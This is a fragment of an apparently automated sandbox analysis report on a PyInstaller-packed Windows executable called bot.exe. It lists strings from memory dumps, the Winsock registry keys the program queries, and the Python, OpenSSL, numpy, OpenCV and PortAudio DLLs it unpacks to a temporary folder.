"00000000-00002724.00000000.171515.F6FF0000.00000004.mdmp, 00000000-00002724.00000000.171515.F71F0000.00000004.mdmp, 00000000-00002724.00000001.173435.F6FF0000.00000004.mdmp, 00000000-00002724.00000001.173435.F71F0000.00000004.mdmp, 00000000-00002724.00000002.175358.F6FF0000.00000004.mdmp, 00000000-00002724.00000002.175358.F71F0000.00000004.mdmp, 00000000-00002724.00000003.176644.F6FF0000.00000004.mdmp, 00000000-00002724.00000003.176644.F71F0000.00000004.mdmp")66:T598,Found string "PING" (Indicator: "ping"; Source: "00000000-00002724.00000000.171515.B47B6000.00000002.mdmp, 00000000-00002724.00000003.176644.B981F000.00000002.mdmp") Found string "The currently set server hostname (for SNI)." (Indicator: "hostname"; Source: "00000000-00002724.00000000.171515.C11FE000.00000002.mdmp") Found string "Hostname mismatch, certificate is not valid for '%S'." (Indicator: "hostname"; Source: "00000000-00002724.00000000.171515.C11FE000.00000002.mdmp") Found string "Route attribute access on a class to __getattr__." (Indicator: "route"; Source: "00000000-00002724.00000000.171515.F70F0000.00000004.mdmp, 00000000-00002724.00000001.173435.F70F0000.00000004.mdmp, 00000000-00002724.00000002.175358.F70F0000.00000004.mdmp, 00000000-00002724.00000003.176644.F7150000.00000004.mdmp") Found string "The hostname of the certificate to verify against." (Indicator: "hostname"; Source: "00000000-00002724.00000000.171515.F70F0000.00000004.mdmp, 00000000-00002724.00000000.171515.F7940000.00000004.mdmp, 00000000-00002724.00000001.173435.F70F0000.00000004.mdmp, 00000000-00002724.00000001.173435.F7940000.00000004.mdmp, 00000000-00002724.00000002.175358.F70F0000.00000004.mdmp, 00000000-00002724.00000002.175358.F7940000.00000004.mdmp, 00000000-00002724.00000003.176644.F7150000.00000004.mdmp, 00000000-00002724.00000003.176644.F79C5000.00000004.mdmp, 00000000-00002724.00000003.176644.F7CC9000.00000004.mdmp")67:T1527,Found string "riverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00001324.00000000.169787.01E60000.00000004.mdmp, 00000000-00001324.00000001.171708.01E60000.00000004.mdmp, 00000000-00001324.00000002.173627.01E60000.00000004.mdmp, 00000000-00001324.00000003.176692.01E60000.00000004.mdmp") Found string "riverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00001324.00000000.169787.01E60000.00000004.mdmp, 00000000-00001324.00000001.171708.01E60000.00000004.mdmp, 00000000-00001324.00000002.173627.01E60000.00000004.mdmp, 00000000-00001324.00000003.176692.01E60000.00000004.mdmp") Found string "\Device\HarddiskVolume2\bot.exe" (Indicator: "\Device\"; Source: "00000000-00001324.00000000.169787.01E60000.00000004.mdmp, 00000000-00001324.00000001.171708.01E60000.00000004.mdmp, 00000000-00001324.00000001.171708.50BE3000.00000004.mdmp, 00000000-00001324.00000002.173627.01E60000.00000004.mdmp, 00000000-00001324.00000003.176692.01E60000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00001324.00000000.169787.01E60000.00000004.mdmp, 00000000-00001324.00000000.169787.037B0000.00000004.mdmp, 00000000-00001324.00000001.171708.01E60000.00000004.mdmp, 00000000-00001324.00000002.173627.01E60000.00000004.mdmp, 00000000-00001324.00000002.173627.037B0000.00000004.mdmp, 00000000-00001324.00000003.176692.01E60000.00000004.mdmp, 00000000-00001324.00000003.176692.037B0000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00001324.00000000.169787.01E60000.00000004.mdmp, 00000000-00001324.00000000.169787.037B0000.00000004.mdmp, 00000000-00001324.00000001.171708.01E60000.00000004.mdmp, 00000000-00001324.00000002.173627.01E60000.00000004.mdmp, 00000000-00001324.00000002.173627.037B0000.00000004.mdmp, 00000000-00001324.00000003.176692.01E60000.00000004.mdmp, 00000000-00001324.00000003.176692.037B0000.00000004.mdmp") Found string "riverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00002724.00000000.171515.F4E90000.00000004.mdmp, 00000000-00002724.00000001.173435.F4E90000.00000004.mdmp, 00000000-00002724.00000002.175358.F4E90000.00000004.mdmp, 00000000-00002724.00000003.176644.F4E90000.00000004.mdmp, 00000000-00002724.00000003.176644.F4F69000.00000004.mdmp") Found string "riverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00002724.00000000.171515.F4E90000.00000004.mdmp, 00000000-00002724.00000001.173435.F4E90000.00000004.mdmp, 00000000-00002724.00000002.175358.F4E90000.00000004.mdmp, 00000000-00002724.00000003.176644.F4E90000.00000004.mdmp, 00000000-00002724.00000003.176644.F4F69000.00000004.mdmp") Found string "\Device\HarddiskVolume2\bot.exe" (Indicator: "\Device\"; Source: "00000000-00002724.00000000.171515.F4E90000.00000004.mdmp, 00000000-00002724.00000001.173435.F4E90000.00000004.mdmp, 00000000-00002724.00000002.175358.F4E90000.00000004.mdmp, 00000000-00002724.00000003.176644.F4E90000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00002724.00000000.171515.F4E90000.00000004.mdmp, 00000000-00002724.00000000.171515.F68E0000.00000004.mdmp, 00000000-00002724.00000000.171515.F7540000.00000004.mdmp, 00000000-00002724.00000001.173435.F4E90000.00000004.mdmp, 00000000-00002724.00000001.173435.F7540000.00000004.mdmp, 00000000-00002724.00000002.175358.F4E90000.00000004.mdmp, 00000000-00002724.00000002.175358.F68E0000.00000004.mdmp, 00000000-00002724.00000002.175358.F7540000.00000004.mdmp, 00000000-00002724.00000003.176644.F4E90000.00000004.mdmp, 00000000-00002724.00000003.176644.F68E0000.00000004.mdmp, 00000000-00002724.00000003.176644.F7B22000.00000004.mdmp, 00000000-00002724.00000003.176644.F7C5F000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00002724.00000000.171515.F4E90000.00000004.mdmp, 00000000-00002724.00000000.171515.F68E0000.00000004.mdmp, 00000000-00002724.00000000.171515.F7540000.00000004.mdmp, 00000000-00002724.00000001.173435.F4E90000.00000004.mdmp, 00000000-00002724.00000001.173435.F7540000.00000004.mdmp, 00000000-00002724.00000002.175358.F4E90000.00000004.mdmp, 00000000-00002724.00000002.175358.F68E0000.00000004.mdmp, 00000000-00002724.00000002.175358.F7540000.00000004.mdmp, 00000000-00002724.00000003.176644.F4E90000.00000004.mdmp, 00000000-00002724.00000003.176644.F68E0000.00000004.mdmp, 00000000-00002724.00000003.176644.F7B22000.00000004.mdmp, 00000000-00002724.00000003.176644.F7C5F000.00000004.mdmp") Found string "C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00002724.00000000.171515.F6FF0000.00000004.mdmp, 00000000-00002724.00000001.173435.F6FF0000.00000004.mdmp, 00000000-00002724.00000002.175358.F6FF0000.00000004.mdmp, 00000000-00002724.00000003.176644.F6FF0000.00000004.mdmp") Found string "C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00002724.00000000.171515.F6FF0000.00000004.mdmp, 00000000-00002724.00000001.173435.F6FF0000.00000004.mdmp, 00000000-00002724.00000002.175358.F6FF0000.00000004.mdmp, 00000000-00002724.00000003.176644.F6FF0000.00000004.mdmp")68:T996,"bot.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\BOT.EXE"; Value: "") "bot.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "bot.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "bot.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "bot.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NEXT_CATALOG_ENTRY_ID"; Value: "") "bot.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NUM_CATALOG_ENTRIES64"; Value: "") "bot.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000001"; Key: "PACKEDCATALOGITEM"; Value: "") "bot.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000002"; Key: "PACKEDCATALOGITEM"; Value: "") "bot.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000003"; Key: "PACKEDCATALOGITEM"; Value: "") "bot.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000004"; Key: "PACKEDCATALOGITEM"; Value: "") "bot.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000005"; Key: "PACKEDCATALOGITEM"; Value: "") "bot.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000006"; Key: "PACKEDCATALOGITEM"; Value: "") "bot.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000007"; Key: "PACKEDCATALOGITEM"; Value: "") "bot.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000008"; Key: "PACKEDCATALOGITEM"; Value: "")69:T148f,"libcrypto-3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- Location: [%TEMP%\_MEI0000052c2\libcrypto-3.dll]- [targetUID: 00000000-00001324] "libscipy_openblas64_-ed4f167a5330424524f45258e7ca2c8d.dll" has type "PE32+ executable for MS Windows 5.02 (DLL) x86-64 (stripped to external PDB) 11 sections"- Location: [%TEMP%\_MEI0000052c2\numpy.libs\libscipy_openblas64_-ed4f167a5330424524f45258e7ca2c8d.dll]- [targetUID: 00000000-00001324] "opencv_videoio_ffmpeg500_64.dll" has type "PE32+ executable for MS Windows 5.02 (DLL) x86-64 (stripped to external PDB) 13 sections"- Location: [%TEMP%\_MEI0000052c2\cv2\opencv_videoio_ffmpeg500_64.dll]- [targetUID: 00000000-00001324] "libssl-3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- Location: [%TEMP%\_MEI0000052c2\libssl-3.dll]- [targetUID: 00000000-00001324] "python314.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 7 sections"- Location: [%TEMP%\_MEI0000052c2\python314.dll]- [targetUID: 00000000-00001324] "msvcp140-a4c2229bdc2a2a630acdc095b4d86008.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\numpy.libs\msvcp140-a4c2229bdc2a2a630acdc095b4d86008.dll]- [targetUID: 00000000-00001324] "libportaudio64bit-asio.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 7 sections"- Location: [%TEMP%\_MEI0000052c2\_sounddevice_data\portaudio-binaries\libportaudio64bit-asio.dll]- [targetUID: 00000000-00001324] "libportaudioarm64-asio.dll" has type "PE32+ executable for MS Windows 6.02 (DLL) ARM64 7 sections"- Location: [%TEMP%\_MEI0000052c2\_sounddevice_data\portaudio-binaries\libportaudioarm64-asio.dll]- [targetUID: 00000000-00001324] "libportaudio64bit.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 7 sections"- Location: [%TEMP%\_MEI0000052c2\_sounddevice_data\portaudio-binaries\libportaudio64bit.dll]- [targetUID: 00000000-00001324] "libportaudioarm64.dll" has type "PE32+ executable for MS Windows 6.02 (DLL) ARM64 7 sections"- Location: [%TEMP%\_MEI0000052c2\_sounddevice_data\portaudio-binaries\libportaudioarm64.dll]- [targetUID: 00000000-00001324] "libportaudio32bit-asio.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 6 sections"- Location: [%TEMP%\_MEI0000052c2\_sounddevice_data\portaudio-binaries\libportaudio32bit-asio.dll]- [targetUID: 00000000-00001324] "libportaudio32bit.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 6 sections"- Location: [%TEMP%\_MEI0000052c2\_sounddevice_data\portaudio-binaries\libportaudio32bit.dll]- [targetUID: 00000000-00001324] "VCRUNTIME140.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- Location: [%TEMP%\_MEI0000052c2\VCRUNTIME140.dll]- [targetUID: 00000000-00001324] "api-ms-win-crt-private-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-crt-private-l1-1-0.dll]- [targetUID: 00000000-00001324] "python3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 2 sections"- Location: [%TEMP%\_MEI0000052c2\python3.dll]- [targetUID: 00000000-00001324] "VCRUNTIME140_1.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\VCRUNTIME140_1.dll]- [targetUID: 00000000-00001324] "api-ms-win-crt-math-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-crt-math-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-crt-string-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-crt-string-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-crt-stdio-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-crt-stdio-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-crt-runtime-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-crt-runtime-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-file-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-file-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-crt-convert-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-crt-convert-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-crt-process-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-crt-process-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-processthreads-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-processthreads-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-crt-heap-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-crt-heap-l1-1-0.dll]- [targetUID: 00000000-00001324]6a:T402,"libssl-3.dll" was detected as "Microsoft Visual C++ 8.0" "libportaudio32bit-asio.dll" was detected as "Borland Delphi 3.0 (???)" "libportaudio32bit.dll" was detected as "Borland Delphi 3.0 (???)" "api-ms-win-crt-private-l1-1-0.dll" was detected as "Microsoft Visual C++ vx.x DLL" "python3.dll" was detected as "Microsoft Visual C++ vx.x DLL" "api-ms-win-crt-math-l1-1-0.dll" was detected as "Microsoft Visual C++ vx.x DLL" "api-ms-win-crt-string-l1-1-0.dll" was detected as "Microsoft Visual C++ vx.x DLL" "api-ms-win-crt-stdio-l1-1-0.dll" was detected as "Microsoft Visual C++ vx.x DLL" "api-ms-win-crt-runtime-l1-1-0.dll" was detected as "Microsoft Visual C++ vx.x DLL" "api-ms-win-core-file-l1-1-0.dll" was detected as "Microsoft Visual C++ vx.x DLL" "api-ms-win-crt-convert-l1-1-0.dll" was detected as "Microsoft Visual C++ vx.x DLL" "api-ms-win-crt-process-l1-1-0.dll" was detected as "Microsoft Visual C++ vx.x DLL" "api-ms-win-core-processthreads-l1-1-0.dll" was detected as "Microsoft Visual C++ vx.x DLL"6b:T50bb,"libcrypto-3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- Location: [%TEMP%\_MEI0000052c2\libcrypto-3.dll]- [targetUID: 00000000-00001324] "libscipy_openblas64_-ed4f167a5330424524f45258e7ca2c8d.dll" has type "PE32+ executable for MS Windows 5.02 (DLL) x86-64 (stripped to external PDB) 11 sections"- Location: [%TEMP%\_MEI0000052c2\numpy.libs\libscipy_openblas64_-ed4f167a5330424524f45258e7ca2c8d.dll]- [targetUID: 00000000-00001324] "opencv_videoio_ffmpeg500_64.dll" has type "PE32+ executable for MS Windows 5.02 (DLL) x86-64 (stripped to external PDB) 13 sections"- Location: [%TEMP%\_MEI0000052c2\cv2\opencv_videoio_ffmpeg500_64.dll]- [targetUID: 00000000-00001324] "libssl-3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- Location: [%TEMP%\_MEI0000052c2\libssl-3.dll]- [targetUID: 00000000-00001324] "python314.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 7 sections"- Location: [%TEMP%\_MEI0000052c2\python314.dll]- [targetUID: 00000000-00001324] "msvcp140-a4c2229bdc2a2a630acdc095b4d86008.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\numpy.libs\msvcp140-a4c2229bdc2a2a630acdc095b4d86008.dll]- [targetUID: 00000000-00001324] "libportaudio64bit-asio.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 7 sections"- Location: [%TEMP%\_MEI0000052c2\_sounddevice_data\portaudio-binaries\libportaudio64bit-asio.dll]- [targetUID: 00000000-00001324] "libportaudioarm64-asio.dll" has type "PE32+ executable for MS Windows 6.02 (DLL) ARM64 7 sections"- Location: [%TEMP%\_MEI0000052c2\_sounddevice_data\portaudio-binaries\libportaudioarm64-asio.dll]- [targetUID: 00000000-00001324] "libportaudio64bit.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 7 sections"- Location: [%TEMP%\_MEI0000052c2\_sounddevice_data\portaudio-binaries\libportaudio64bit.dll]- [targetUID: 00000000-00001324] "libportaudioarm64.dll" has type "PE32+ executable for MS Windows 6.02 (DLL) ARM64 7 sections"- Location: [%TEMP%\_MEI0000052c2\_sounddevice_data\portaudio-binaries\libportaudioarm64.dll]- [targetUID: 00000000-00001324] "libportaudio32bit-asio.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 6 sections"- Location: [%TEMP%\_MEI0000052c2\_sounddevice_data\portaudio-binaries\libportaudio32bit-asio.dll]- [targetUID: 00000000-00001324] "libportaudio32bit.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 6 sections"- Location: [%TEMP%\_MEI0000052c2\_sounddevice_data\portaudio-binaries\libportaudio32bit.dll]- [targetUID: 00000000-00001324] "VCRUNTIME140.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- Location: [%TEMP%\_MEI0000052c2\VCRUNTIME140.dll]- [targetUID: 00000000-00001324] "api-ms-win-crt-private-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-crt-private-l1-1-0.dll]- [targetUID: 00000000-00001324] "python3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 2 sections"- Location: [%TEMP%\_MEI0000052c2\python3.dll]- [targetUID: 00000000-00001324] "VCRUNTIME140_1.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI0000052c2\VCRUNTIME140_1.dll]- [targetUID: 00000000-00001324] "api-ms-win-crt-math-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-crt-math-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-crt-string-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-crt-string-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-crt-stdio-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-crt-stdio-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-crt-runtime-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-crt-runtime-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-file-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-file-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-crt-convert-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-crt-convert-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-crt-process-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-crt-process-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-processthreads-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-processthreads-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-crt-heap-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-crt-heap-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-crt-time-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-crt-time-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-namedpipe-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-namedpipe-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-errorhandling-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-errorhandling-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-sysinfo-l1-2-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-sysinfo-l1-2-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-kernel32-legacy-l1-1-1.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-kernel32-legacy-l1-1-1.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-synch-l1-2-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-synch-l1-2-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-profile-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-profile-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-crt-environment-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-crt-environment-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-localization-l1-2-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-localization-l1-2-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-crt-locale-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-crt-locale-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-processthreads-l1-1-1.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-processthreads-l1-1-1.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-fibers-l1-1-1.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-fibers-l1-1-1.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-heap-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-heap-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-fibers-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-fibers-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-console-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-console-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-interlocked-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-interlocked-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-sysinfo-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-sysinfo-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-crt-filesystem-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-crt-filesystem-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-memory-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-memory-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-libraryloader-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-libraryloader-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-string-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-string-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-crt-conio-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-crt-conio-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-datetime-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-datetime-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-file-l1-2-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-file-l1-2-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-timezone-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: [%TEMP%\_MEI0000052c2\api-ms-win-core-timezone-l1-1-0.dll]- [targetUID: 00000000-00001324] "api-ms-win-core-synch-l1-1-0.dll" has type "PE32+ executable for MS Windows 10.00 (DLL) x86-64 3 sections"- Location: 